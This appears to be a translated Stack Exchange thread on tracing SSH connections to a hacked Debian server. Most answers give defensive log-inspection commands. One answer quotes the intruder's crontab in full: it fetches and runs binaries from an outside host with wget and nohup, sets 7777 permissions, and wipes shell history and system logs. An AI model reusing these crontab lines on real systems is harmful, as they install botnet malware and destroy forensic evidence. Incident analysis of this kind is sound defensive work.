Sejarah alamat IP yang mengakses server melalui ssh


42

Telah menjadi perhatian saya bahwa server saya telah diretas dan terinfeksi botnet Cina yang dikenal.

Itu adalah prototipe / pengujian mesin virtual dengan IP statisnya sendiri (alamat AS) sehingga tidak ada kerusakan yang disebabkan (hanya butuh beberapa saat untuk mengetahuinya).

Sekarang saya ingin tahu IP / s apa yang digunakan untuk intrusi untuk mengetahui apakah serangan itu berasal dari Cina.

Apakah ada cara untuk melihat riwayat koneksi yang diterima di ssh di server?

Sunting: Sistem ini adalah Linux Debian 7

Jawaban:


45

Lihatlah output dari lastperintah dan apa pun dengan alamat IP atau nama host alih-alih ruang kosong masuk melalui jaringan. Jika sshdsatu-satunya cara untuk melakukan itu pada sistem ini, maka begitulah.

Atau (jika ini adalah Linux), Anda dapat memeriksa /var/log/secure(pada distro berbasis RH) atau /var/log/auth.log(pada distro berbasis Debian) di mana sshdbiasanya akan melacak koneksi yang dibuat bahkan jika mereka tidak menghasilkan login yang berhasil (yang hits utmp/ wtmp, yang adalah apa yang lastakan dibaca). Contoh:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

IIRC Solaris sshd(yang mungkin bukan OpenSSH sshd) akan mencatat informasi ini/var/adm/messages

EDIT:

@derobert membuat poin yang bagus. Penting untuk diingat bahwa pada sistem apa pun, jika akun pengguna super Anda dikompromikan, maka semua taruhan dimatikan karena file log seperti /var/log/wtmpatau /var/adm/messagesdapat dimodifikasi oleh penyerang. Ini dapat dikurangi jika Anda mendorong log off-server ke lokasi yang aman.

Misalnya, di satu toko tempat saya dulu bekerja, kami memiliki mesin "Audit Vault" yang diamankan sehingga hanya menerima file log audit dari berbagai server di pusat data. Saya akan merekomendasikan memiliki pengaturan yang sama di masa depan (karena "Saya punya mesin uji" terdengar seperti Anda beroperasi di toko besar-ish)


7
Jawaban Anda mencakup hampir segalanya, jadi saya tidak ingin menambahkan sendiri ... tapi tolong tambahkan sesuatu di sepanjang baris "Jika penyerang telah memperoleh root, maka dalam sebagian besar konfigurasi, tidak ada data logging pada kotak yang benar-benar dapat dipercaya. , karena root dapat dengan mudah mengedit log. "
derobert

1
@derobert, saya menambahkan beberapa detail sepanjang apa yang Anda sarankan :)
Ramesh

Tunggu, '/ var / log / secure' tidak ada di Debian, ada di distor Red Hat.
Secko

@Secko Mengedit jawaban untuk memasukkan keduanya.
Bratchley

14

Apakah ada cara untuk melihat riwayat koneksi yang diterima di ssh di server?

Ini akan memberi Anda daftar:

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u

Kemudian Anda dapat menggunakan geoiplookupdari geoip-binpaket untuk pergi dari nama host atau alamat IP ke negara.


+1 bermanfaat. Bisakah Anda memperbarui perintah untuk menunjukkan waktu dan tanggal?
Eduard Florinescu

3
@Eduard Florinescu Maaf, sedketerampilan saya bukan dewa itu. Untuk melakukan sesuatu yang lebih kompleks, gunakan Python atau parser log khusus. Tetapi Anda dapat mencoba ini:zgrep sshd /var/log/auth.log* -h |grep -F 'Failed password'
Torkel Bjørnson-Langen

6

Yah, seperti yang diharapkan, dan seperti yang dikatakan @Joel Davis, semua log dihapus, tetapi ada satu file yang @Ramesh sebutkan yang memiliki beberapa upaya untuk mengakses pengguna root tetapi gagal memasukkan kata sandi yang benar beberapa kali, kemudian memutuskan sambungan untuk terlalu banyak percobaan ulang.

Saya menjalankan traceroute pada tiga alamat dan dua dari Cina dan yang lainnya dari Pakistan; ini adalah IP:

221.120.224.179
116.10.191.218
61.174.51.221

Info selengkapnya tentang botnet yang disuntikkan ke server setelah kompromi:

Hacker mengedit crontab untuk mengeksekusi 7 executable yang akan, setiap x jumlah waktu, menggunakan semua CPU, max output jaringan server, kemudian mati. Mereka juga menambahkan readme ke crontab 100 kali untuk menyembunyikan baris yang ditambahkan, jadi ketika Anda melakukannya, crontab -lAnda akan dihantam oleh readme dengan garis tersembunyi. Untuk menghindari ini, saya menggunakan crontab -l | grep -v '^#'dan di sini adalah output dari perintah itu:

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

Seperti yang Anda lihat, semua file log dihapus, ini sebabnya saya tidak dapat mengambil banyak informasi.

Ini meruntuhkan seluruh server (semua VM) menyebabkan timeout di situs dan proxmox. Berikut ini adalah grafik (duri menunjukkan botnet aktif DDoS'ing dan perhatikan jaringan keluar): aktivitas botnet

Sebagai hasilnya saya akan menambahkan seluruh jajaran alamat IP Cina ke firewall untuk memblokir semua koneksi (Saya tidak punya pengguna China jadi saya tidak peduli), saya juga akan melarang login root jarak jauh dan menggunakan kompleks panjang kata sandi. Saya juga kemungkinan besar akan mengubah port ssh dan menggunakan kunci ssh pribadi juga.


3
Ini adalah hal yang cukup menakutkan - tahu bagaimana mereka mengakses sistem Anda? Apakah itu hanya kekerasan yang kasar terhadap password yang lemah?
user35581

3

Dari jawaban ini , saya melihat informasi di bawah ini.

Berbicara tentang server SSH, saya akan memberikan Anda solusi command line.

Lacak login dan keluar pengguna . Itu mudah, file /var/log/auth.logharus memiliki informasi ini.

Lacak aktivitas para pengguna itu : Jika mereka agak tidak bersalah, Anda dapat memeriksa file .bash_historydi direktori home mereka. Anda akan melihat daftar perintah yang dieksekusi. Masalahnya tentu saja mereka dapat menghapus atau mengedit file ini.

Mencegah pengguna menghapus log : Pengguna seharusnya tidak dapat menyentuh auth.log. Untuk menghentikan mereka bermain dengan bash_historyAnda perlu melakukan beberapa trik.

Bagaimana jika pengguna berhasil mendapatkan akses root? : Anda kacau. Kecuali jika dia melakukan kesalahan dia akan bisa menyembunyikan semua langkahnya.

Juga, dari jawaban ini , kita dapat melihat alamat IP klien menggunakan SSH_CLIENTvariabel.

Juga dari jawaban ini , saya melihat bahwa sejarah ssh dapat disimpan dalam file-file ini.

Selain /var/log/lastlog, ada 3 file dalam /var/rundan /var/log: utmp, wtmpdan btmp, yang memegang info tentang login saat ini (dan info tambahan), sejarah dan login gagal. Lihat wiki untuk deskripsi terperinci. Anda tidak dapat mengedit file dengan editor normal, tetapi dapat menghapusnya.


1

Perintah paling sederhana untuk mendapatkan 10 pengguna terakhir yang masuk ke mesin adalah last|head.

Untuk mendapatkan semua pengguna cukup gunakan lastperintah


1

Mesin ini telah dikompromikan. Ini berarti setiap data di dalamnya, historis atau saat ini, tidak lagi dapat dipercaya.

Singkatnya, jawabannya adalah tidak. Anda tidak dapat memastikan Anda telah menemukan alamat asal dari file log apa pun yang direkam pada mesin ini.

Usap dan instal ulang. Dan tambalan.


1

Untuk hanya melihat upaya login yang berhasil dengan kata sandi:

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted password for'

1

untuk debian pencarian tes worded sedikit berbeda

zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'
Dengan menggunakan situs kami, Anda mengakui telah membaca dan memahami Kebijakan Cookie dan Kebijakan Privasi kami.
Licensed under cc by-sa 3.0 with attribution required.